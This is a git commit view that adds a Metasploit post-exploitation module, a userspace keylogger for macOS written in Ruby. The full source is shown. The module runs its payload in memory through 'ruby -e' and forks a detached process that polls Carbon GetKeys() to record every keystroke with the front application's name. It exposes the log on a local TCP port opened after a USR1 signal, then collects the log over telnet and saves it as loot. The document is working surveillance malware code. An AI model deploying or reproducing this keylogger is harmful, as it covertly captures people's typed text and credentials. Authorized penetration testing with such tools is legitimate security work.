OSX keylogger module finally working.
parent
54af2929f5
commit
1cdf77df7d
|
@ -0,0 +1,293 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'shellwords'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Post
|
||||||
|
include Msf::Post::Common
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
# the port used for telnet IPC. It is only open after the
|
||||||
|
# keylogger process is sent a USR1 signal
|
||||||
|
attr_accessor :port
|
||||||
|
|
||||||
|
# the pid of the keylogger process
|
||||||
|
attr_accessor :pid
|
||||||
|
|
||||||
|
# where we are storing the keylog
|
||||||
|
attr_accessor :loot_path
|
||||||
|
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'OSX Userspace Keylogger',
|
||||||
|
'Description' => %q{
|
||||||
|
Logs all keyboard events except cmd-keys and GUI password input.
|
||||||
|
|
||||||
|
Keylogs are transferred between client/server in chunks
|
||||||
|
every SYNCWAIT seconds for reliability.
|
||||||
|
|
||||||
|
Works by calling the Carbon GetKeys() hook using the DL lib
|
||||||
|
in OSX's system Ruby. The Ruby code is executed in a shell
|
||||||
|
command using -e, so the payload never hits the disk.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
|
||||||
|
'Platform' => [ 'osx'],
|
||||||
|
'SessionTypes' => [ 'shell', 'meterpreter' ]
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptInt.new('DURATION',
|
||||||
|
[ true, 'The duration in seconds.', 600 ]
|
||||||
|
),
|
||||||
|
OptInt.new('SYNCWAIT',
|
||||||
|
[ true, 'The time between transferring log chunks.', 10 ]
|
||||||
|
),
|
||||||
|
OptInt.new('LOGPORT',
|
||||||
|
[ false, 'Local port opened for transferring logs', 22899 ]
|
||||||
|
)
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_ruby_code
|
||||||
|
# to pass args to ruby -e we use ARGF (stdin) and yaml
|
||||||
|
opts = {
|
||||||
|
:duration => datastore['DURATION'].to_i,
|
||||||
|
:port => self.port
|
||||||
|
}
|
||||||
|
cmd = ['ruby', '-e', ruby_code(opts)]
|
||||||
|
|
||||||
|
rpid = cmd_exec(cmd.shelljoin, nil, 10)
|
||||||
|
|
||||||
|
if rpid =~ /^\d+/
|
||||||
|
print_status "Ruby process executing with pid #{rpid.to_i}"
|
||||||
|
rpid.to_i
|
||||||
|
else
|
||||||
|
raise "Ruby keylogger command failed with error #{rpid}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def run
|
||||||
|
if session.nil?
|
||||||
|
print_error "Invalid SESSION id."
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status "Executing ruby command to start keylogger process."
|
||||||
|
|
||||||
|
@port = datastore['LOGPORT'].to_i
|
||||||
|
@pid = run_ruby_code
|
||||||
|
|
||||||
|
begin
|
||||||
|
Timeout.timeout(datastore['DURATION']+5) do # padding to read the last logs
|
||||||
|
print_status "Entering read loop"
|
||||||
|
while true
|
||||||
|
print_status "Waiting #{datastore['SYNCWAIT']} seconds."
|
||||||
|
Rex.sleep(datastore['SYNCWAIT'])
|
||||||
|
print_status "Sending USR1 signal to open TCP port..."
|
||||||
|
cmd_exec("kill -USR1 #{@pid}")
|
||||||
|
print_status "Dumping logs..."
|
||||||
|
log = cmd_exec("telnet localhost #{self.port}")
|
||||||
|
log_a = log.scan(/^\[.+?\] \[.+?\] .*$/)
|
||||||
|
log = log_a.join("\n")+"\n"
|
||||||
|
print_status "#{log_a.size} keystrokes captured"
|
||||||
|
if log_a.size > 0
|
||||||
|
if self.loot_path.nil?
|
||||||
|
self.loot_path = store_loot(
|
||||||
|
"keylog", "text/plain", session, log, "keylog.log", "OSX keylog"
|
||||||
|
)
|
||||||
|
else
|
||||||
|
File.open(self.loot_path, 'a') { |f| f.write(log) }
|
||||||
|
end
|
||||||
|
print_status(log_a.map{ |a| a=~/([^\s]+)\s*$/; $1 }.join)
|
||||||
|
print_status "Saved to #{self.loot_path}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
rescue ::Timeout::Error
|
||||||
|
print_status "Keylogger run completed."
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def kill_process(pid)
|
||||||
|
print_status "Killing process #{pid.to_i}"
|
||||||
|
cmd_exec("kill #{pid.to_i}")
|
||||||
|
end
|
||||||
|
|
||||||
|
def cleanup
|
||||||
|
return if not @cleaning_up.nil?
|
||||||
|
@cleaning_up = true
|
||||||
|
|
||||||
|
return if session.nil?
|
||||||
|
|
||||||
|
if @pid.to_i > 0
|
||||||
|
print_status("Cleaning up...")
|
||||||
|
kill_process(@pid)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def ruby_code(opts={})
|
||||||
|
<<-EOS
|
||||||
|
# Kick off a child process and let parent die
|
||||||
|
child_pid = fork do
|
||||||
|
require 'thread'
|
||||||
|
require 'dl'
|
||||||
|
require 'dl/import'
|
||||||
|
|
||||||
|
|
||||||
|
options = {
|
||||||
|
:duration => #{opts[:duration]},
|
||||||
|
:port => #{opts[:port]}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
#### Patches to DL (for compatibility between 1.8->1.9)
|
||||||
|
|
||||||
|
Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end
|
||||||
|
|
||||||
|
def ruby_1_9_or_higher?
|
||||||
|
RUBY_VERSION.to_f >= 1.9
|
||||||
|
end
|
||||||
|
|
||||||
|
def malloc(size)
|
||||||
|
if ruby_1_9_or_higher?
|
||||||
|
DL::CPtr.malloc(size)
|
||||||
|
else
|
||||||
|
DL::malloc(size)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# the old Ruby Importer defaults methods to downcase every import
|
||||||
|
# This is annoying, so we'll patch with method_missing
|
||||||
|
if not ruby_1_9_or_higher?
|
||||||
|
module DL
|
||||||
|
module Importable
|
||||||
|
def method_missing(meth, *args, &block)
|
||||||
|
str = meth.to_s
|
||||||
|
lower = str[0,1].downcase + str[1..-1]
|
||||||
|
if self.respond_to? lower
|
||||||
|
self.send lower, *args
|
||||||
|
else
|
||||||
|
super
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#### 1-way IPC ####
|
||||||
|
|
||||||
|
log = ''
|
||||||
|
log_semaphore = Mutex.new
|
||||||
|
Signal.trap("USR1") do # signal used for port knocking
|
||||||
|
if not @server_listening
|
||||||
|
@server_listening = true
|
||||||
|
Thread.new do
|
||||||
|
require 'socket'
|
||||||
|
server = TCPServer.new(options[:port])
|
||||||
|
client = server.accept
|
||||||
|
log_semaphore.synchronize do
|
||||||
|
client.puts(log+"\n\r")
|
||||||
|
log = ''
|
||||||
|
end
|
||||||
|
client.close
|
||||||
|
server.close
|
||||||
|
@server_listening = false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#### External dynamically linked code
|
||||||
|
|
||||||
|
SM_KCHR_CACHE = 38
|
||||||
|
SM_CURRENT_SCRIPT = -2
|
||||||
|
MAX_APP_NAME = 80
|
||||||
|
|
||||||
|
module Carbon
|
||||||
|
extend Importer
|
||||||
|
dlload 'Carbon.framework/Carbon'
|
||||||
|
extern 'unsigned long CopyProcessName(const ProcessSerialNumber *, void *)'
|
||||||
|
extern 'void GetFrontProcess(ProcessSerialNumber *)'
|
||||||
|
extern 'void GetKeys(void *)'
|
||||||
|
extern 'unsigned char *GetScriptVariable(int, int)'
|
||||||
|
extern 'unsigned char KeyTranslate(void *, int, void *)'
|
||||||
|
extern 'unsigned char CFStringGetCString(void *, void *, int, int)'
|
||||||
|
extern 'int CFStringGetLength(void *)'
|
||||||
|
end
|
||||||
|
|
||||||
|
psn = malloc(16)
|
||||||
|
name = malloc(16)
|
||||||
|
name_cstr = malloc(MAX_APP_NAME)
|
||||||
|
keymap = malloc(16)
|
||||||
|
state = malloc(8)
|
||||||
|
|
||||||
|
#### Actual Keylogger code
|
||||||
|
|
||||||
|
itv_start = Time.now.to_i
|
||||||
|
prev_down = Hash.new(false)
|
||||||
|
|
||||||
|
while (true) do
|
||||||
|
Carbon.GetFrontProcess(psn.ref)
|
||||||
|
Carbon.CopyProcessName(psn.ref, name.ref)
|
||||||
|
Carbon.GetKeys(keymap)
|
||||||
|
|
||||||
|
str_len = Carbon.CFStringGetLength(name)
|
||||||
|
copied = Carbon.CFStringGetCString(name, name_cstr, MAX_APP_NAME, 0x08000100) > 0
|
||||||
|
app_name = if copied then name_cstr.to_s else 'Unknown' end
|
||||||
|
|
||||||
|
bytes = keymap.to_str
|
||||||
|
cap_flag = false
|
||||||
|
ascii = 0
|
||||||
|
|
||||||
|
(0...128).each do |k|
|
||||||
|
# pulled from apple's developer docs for Carbon#KeyMap/GetKeys
|
||||||
|
if ((bytes[k>>3].ord >> (k&7)) & 1 > 0)
|
||||||
|
if not prev_down[k]
|
||||||
|
kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT)
|
||||||
|
curr_ascii = Carbon.KeyTranslate(kchr, k, state)
|
||||||
|
curr_ascii = curr_ascii >> 16 if curr_ascii < 1
|
||||||
|
prev_down[k] = true
|
||||||
|
if curr_ascii == 0
|
||||||
|
cap_flag = true
|
||||||
|
else
|
||||||
|
ascii = curr_ascii
|
||||||
|
end
|
||||||
|
end
|
||||||
|
else
|
||||||
|
prev_down[k] = false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if ascii != 0 # cmd/modifier key. not sure how to look this up. assume shift.
|
||||||
|
log_semaphore.synchronize do
|
||||||
|
if ascii > 32 and ascii < 127
|
||||||
|
c = if cap_flag then ascii.chr.upcase else ascii.chr end
|
||||||
|
log = log << "[\#{Time.now.to_i}] [\#{app_name}] \#{c}\n"
|
||||||
|
else
|
||||||
|
log = log << "[\#{Time.now.to_i}] [\#{app_name}] [\#{ascii}]\\n"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
exit if Time.now.to_i - itv_start > options[:duration]
|
||||||
|
Kernel.sleep(0.01)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
puts child_pid
|
||||||
|
Process.detach(child_pid)
|
||||||
|
|
||||||
|
EOS
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
Loading…
Reference in New Issue